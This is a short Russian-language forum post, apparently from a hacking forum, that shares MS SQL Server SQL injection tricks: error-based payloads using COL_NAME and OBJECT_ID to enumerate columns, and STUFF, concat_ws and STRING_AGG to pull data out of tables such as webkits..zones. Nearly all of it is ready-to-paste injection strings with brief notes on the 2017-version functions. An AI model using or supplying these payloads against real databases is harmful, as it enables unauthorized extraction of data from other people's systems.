
01.12.2019, 17:55
|
|
Участник форума
Регистрация: 15.09.2018
Сообщений: 236
Провел на форуме: 92829
Репутация:
212
|
|
Еще раз про подбор колонок, старая фича
Код:
152 and 1=COL_NAME(OBJECT_ID('master.sys.routes'), n)
где n номер колонки
Как альтернатива + и concat, в некоторой степени можно использовать STUFF
Код:
152 and 1=(SELECT top 1 (STUFF(@@version,1,0,zoneid)) FROM webkits..zones) --%20
1 -- позиция для вставки
0 -- определяет, какое количество символов следует удалить после вставки
C 2017 версии появилась concat_ws -- немного удобства для нас
Код:
152 and 1=concat_ws('A',(COL_NAME(OBJECT_ID('master.sys.routes'),3)),(COL_NAME(OBJECT_ID('master.sys.routes'), 2))) --%20
Так же с 2017 версии появился полноценный group_concat - привычно и удобно.
Код:
152 and 1=(SELECT STRING_AGG(zoneid, char(35)) FROM webkits..zones) --%20
|
|
|